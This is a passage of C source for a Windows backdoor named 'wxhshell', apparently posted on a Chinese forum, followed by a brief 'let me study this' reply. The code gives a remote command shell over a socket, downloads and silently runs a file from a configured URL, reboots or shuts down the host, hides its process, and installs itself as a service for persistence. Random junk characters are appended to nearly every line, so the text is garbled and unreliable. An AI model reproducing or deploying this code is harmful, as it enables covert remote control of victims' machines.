  if(DownloadFile(cmd,wsh)) p)B33Z zC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); C8IkpAD  
  else A~Z6jK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1, "I=  
  } h+,'B&=|_  
  else { ]} 61vV  
q$r&4s)To  
    switch(cmd[0]) { sl/=g   
  z Yw;q3"  
  // 帮助 t})lr\  
  case '?': { Zg V~W#t  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4k8*E5cx  
    break; <9P4}`%)3  
  } M|\^UF2e  
  // 安装 z]kwRWe`j  
  case 'i': { Y3-gUX*w0  
    if(Install()) 25 CZmsg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x_*%*H  
    else ^SZw`]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %*wzO9w4  
    break; `79[+0hL'  
    } B:4Ka]{YO  
  // 卸载 I @ 2uF-  
  case 'r': { pO%{'%RA  
    if(Uninstall()) Ve{n<{P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C ye T]y  
    else qn B<k,8T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ? ^M /[@  
    break; *LANGQ"2(i  
    } &59F8JgJ  
  // 显示 wxhshell 所在路径 .it#`Yz;  
  case 'p': { /~De2mq1   
    char svExeFile[MAX_PATH]; bEm7QgV{X  
    strcpy(svExeFile,"\n\r"); /<);=&[  
      strcat(svExeFile,ExeFile); vT|`%~Be  
        send(wsh,svExeFile,strlen(svExeFile),0); HPrq1QpK  
    break; q:I$EpKf?Q  
    } j5Qo*p  
  // 重启 {7*>Cv}  
  case 'b': { ^/HW$8wEi  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); lbQQtpEKO  
    if(Boot(REBOOT)) >M]6uf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \v+u;6cx_  
    else { ~#R9i^Y  
    closesocket(wsh); 'JieIKu  
    ExitThread(0); C|MQ $~5:w  
    } E@-ta):  
    break; bLzs?eos  
    } Mi+H#xx16  
  // 关机 0Vkl`DmeM.  
  case 'd': { e  ^Ds  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'Gx$Bj  
    if(Boot(SHUTDOWN)) k.<3HU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?38lHn`FyQ  
    else { X'f.Q  
    closesocket(wsh); Q8T`wd$D#  
    ExitThread(0); 3 iRA$C-p  
    } "13 "`!m  
    break; }pVTTs`  
    } F/p,j0S  
  // 获取shell y%S1ZT ScO  
  case 's': { +k.%PO0np  
    CmdShell(wsh); (a@?s$LG  
    closesocket(wsh); W+Xz$j/u  
    ExitThread(0); Z\~G U*Y.e  
    break; 5;\gJf  
  } Kz jC/1sd  
  // 退出 c~0{s>  
  case 'x': { {ox2Tg?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); M*sR3SZ  
    CloseIt(wsh); TX}T|ri  
    break; .f:n\eT):  
    } w]u@G-e  
  // 离开 OtJ\T/q,  
  case 'q': { %<"}y$J  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6sJw@Oa J  
    closesocket(wsh); 33'Y[4  
    WSACleanup(); ~ Vw9  
    exit(1); =^&%9X  
    break; >5hhd38  
        } (@r `$5D.b  
  } iCj2"T4TN  
  } r@U3sO#N  
%c|UmKKi  
  // 提示信息 (Glr\q]jF\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =w$tvo/  
} /J3ZL[o?Q  
  } r X'*|]  
JTU#vq:TY  
  return; v>Lm;q(  
} qJPT%r  
YO+{,$  
// shell模块句柄 c$:1:B9\  
int CmdShell(SOCKET sock) X(A.X:"  
{ S0d~.ah30  
STARTUPINFO si; z'7[Tie  
ZeroMemory(&si,sizeof(si)); K4Sk+ v  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yNg9X(U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G(iJi  
PROCESS_INFORMATION ProcessInfo; q[3x2sR  
char cmdline[]="cmd"; i;z{zVR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^T5X)Nu{=C  
  return 0; h6_(?|:-(  
} 69m ;XdkKz  
m8R9{LC  
// 自身启动模式 JL=U,Mr6  
int StartFromService(void) H 3@Z.D  
{ lg :  
typedef struct t?c}L7ht  
{ Rk6deI]  
  DWORD ExitStatus; ({s6eqMhDd  
  DWORD PebBaseAddress; asJ!NvVG'  
  DWORD AffinityMask; '1?\/,em  
  DWORD BasePriority; 1'.7_EQ4T  
  ULONG UniqueProcessId; z~*g~RKS!  
  ULONG InheritedFromUniqueProcessId; @"-</x3o  
}   PROCESS_BASIC_INFORMATION; n">u mM;Eh  
DdQ;Q5|  
PROCNTQSIP NtQueryInformationProcess; ^y!;xc$(Qs  
(*p , T  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]rehW}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7c|bc6?  
\u,}vpp z  
  HANDLE             hProcess; =Prb'8 W  
  PROCESS_BASIC_INFORMATION pbi; : _e#  
Byl^?5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?BA]7M(,4  
  if(NULL == hInst ) return 0; 6W[}$#w  
/X"/ha!=&D  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Vj<:GRNQ,d  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2. G=8:l  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b-ll  
MP Z3D9  
  if (!NtQueryInformationProcess) return 0; v ^[39*8  
F{06 _T  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {]_uMg#!  
  if(!hProcess) return 0; ;~fT,7qBah  
3@+b }9s8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hu_ ^OlF  
[x=jH>Y  
  CloseHandle(hProcess); Kl7WQg,XOi  
PyVC}dUAX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %^sTU4D5  
if(hProcess==NULL) return 0; 1"Z@Q`}  
[(X y.L7x  
HMODULE hMod; 'c2W}$q  
char procName[255]; De7T s  
unsigned long cbNeeded; =4V&*go*\  
ZkL8e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dQoYCS}IaV  
4[Z\ ?[  
  CloseHandle(hProcess); glDcUCF3  
Jk@]tAwoM  
if(strstr(procName,"services")) return 1; // 以服务启动 7C#`6:tI  
{3;AwhN0H  
  return 0; // 注册表启动 &'cL%.  
} vEf4HZ&w  
\(226^|j  
// 主模块 8fA_p}wp  
int StartWxhshell(LPSTR lpCmdLine) mxor1P#|  
{ !It`+0S b  
  SOCKET wsl; %CWPbk^  
BOOL val=TRUE; D\IjyZ-O  
  int port=0; #/PAA  
  struct sockaddr_in door; 4XVCHs(  
8.F~k~srA  
  if(wscfg.ws_autoins) Install(); F, U*yj  
@SCI"H%[  
port=atoi(lpCmdLine); J>fQNW!{  
mF` B#  
if(port<=0) port=wscfg.ws_port; UOQEk22  
+)JpUqHa  
  WSADATA data; h(WrL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; a]Lp?  
\RNg|G  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /Mb"V5S(W  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %%(R@kh9  
  door.sin_family = AF_INET; G\|,5HED  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s4&^D<  
  door.sin_port = htons(port); h-iJlm  
rG,5[/l  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LYlDc;<A  
closesocket(wsl); UK9@oCIB  
return 1; Gy=B&boZ  
} G)?9.t_Lj-  
gV&z2S~"  
  if(listen(wsl,2) == INVALID_SOCKET) { +`?Y?L^ J  
closesocket(wsl); Y*mbjyt[?X  
return 1; pr%nbl  
} h iNEJ_f  
  Wxhshell(wsl); l5L.5 $N  
  WSACleanup(); E=){K  
UH3sH t  
return 0; >2#8B  
^CwR!I.D}4  
} wAnb Di{W  
!w&kyW?e  
// 以NT服务方式启动 2^?:&1:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) v4@Z(M  
{  }fp-5  
DWORD   status = 0; cwGbSW$t  
  DWORD   specificError = 0xfffffff; t&?i m<  
^>"z@$|\:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qzb<J=FAU  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; R8.CC1Ix  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K~ ;45Z2  
  serviceStatus.dwWin32ExitCode     = 0; 1S@vGq}  
  serviceStatus.dwServiceSpecificExitCode = 0; JxyB(  
  serviceStatus.dwCheckPoint       = 0; %YOndIS:  
  serviceStatus.dwWaitHint       = 0; T|tOTk  
6e7{Iy  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )7_"wD` z  
  if (hServiceStatusHandle==0) return; GR\5WypoJ  
DY[$"8Kxcp  
status = GetLastError(); zt^48~ry  
  if (status!=NO_ERROR) ~|<m,)!  
{ .*elggM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2h?uNW(0Q  
    serviceStatus.dwCheckPoint       = 0; ZE%YXG  
    serviceStatus.dwWaitHint       = 0; =]k {"?j  
    serviceStatus.dwWin32ExitCode     = status; 7RZh<A>m  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0OGCilOb*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~a xjjv  
    return; CKA;.sh  
  } >[X{LI(_<<  
mFHH515  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `5H$IP1XhA  
  serviceStatus.dwCheckPoint       = 0; `"%T=w  
  serviceStatus.dwWaitHint       = 0; ;E'"Ks[GH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4lZ$;:Jg  
} q%ow/!\;  
$0arz{Oh  
// 处理NT服务事件,比如:启动、停止 +f[ED4E>'(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !0N7^Z"gtz  
{ 37;$-cFE  
switch(fdwControl) ?&Pg2]g<  
{ *cyeO*  
case SERVICE_CONTROL_STOP: a ^%"7Ri  
  serviceStatus.dwWin32ExitCode = 0; @)K%2Y`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; u[{tb  
  serviceStatus.dwCheckPoint   = 0; LdB($4,  
  serviceStatus.dwWaitHint     = 0; %Q!`NCe+[  
  { x\QY@9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wY"Q o7  
  } 7.j[a*^  
  return; ^FnfJ:  
case SERVICE_CONTROL_PAUSE: '?({;/L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %$TGzK1  
  break; c sfgJ^n  
case SERVICE_CONTROL_CONTINUE: 1Z,[|wJ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; f  nI|  
  break; $y b4xU  
case SERVICE_CONTROL_INTERROGATE: 1 E22R  
  break; `SVmQSwO[  
}; `)QCn<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z)uuxNv[R  
} 5Vi> %5A>l  
B<-kzt  
// 标准应用程序主函数 Uo-`>7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _!|/ ;Nk  
{ pJ ?~fp  
oTT7M`P3h  
// 获取操作系统版本 p6vKoI#T  
OsIsNt=GetOsVer(); mA{~Pp Sb  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [xKd7"d/n  
iPrLwheb  
  // 从命令行安装 a<fUI%_  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8| $3OVS  
Ka,^OW}<%q  
  // 下载执行文件 <r3J0)r}  
if(wscfg.ws_downexe) { 1@lJonlF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :\=CRaA  
  WinExec(wscfg.ws_filenam,SW_HIDE); +b3^.wkq  
} ~.!c~fke  
)$,"u4  
if(!OsIsNt) { *& m#qEv  
// 如果时win9x,隐藏进程并且设置为注册表启动 }@r{?8Ru  
HideProc(); E#F/88(  
StartWxhshell(lpCmdLine); *@TZ+{t  
} N;+[`l  
else K).n.:vYZ  
  if(StartFromService()) )IJQeC  
  // 以服务方式启动 ]f1{n  
  StartServiceCtrlDispatcher(DispatchTable); YX*Qd$chZ  
else OaL\w D^  
  // 普通方式启动 7h)iu9j  
  StartWxhshell(lpCmdLine); J "FC%\|  
qL94SW;  
return 0; )TmHhNo  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五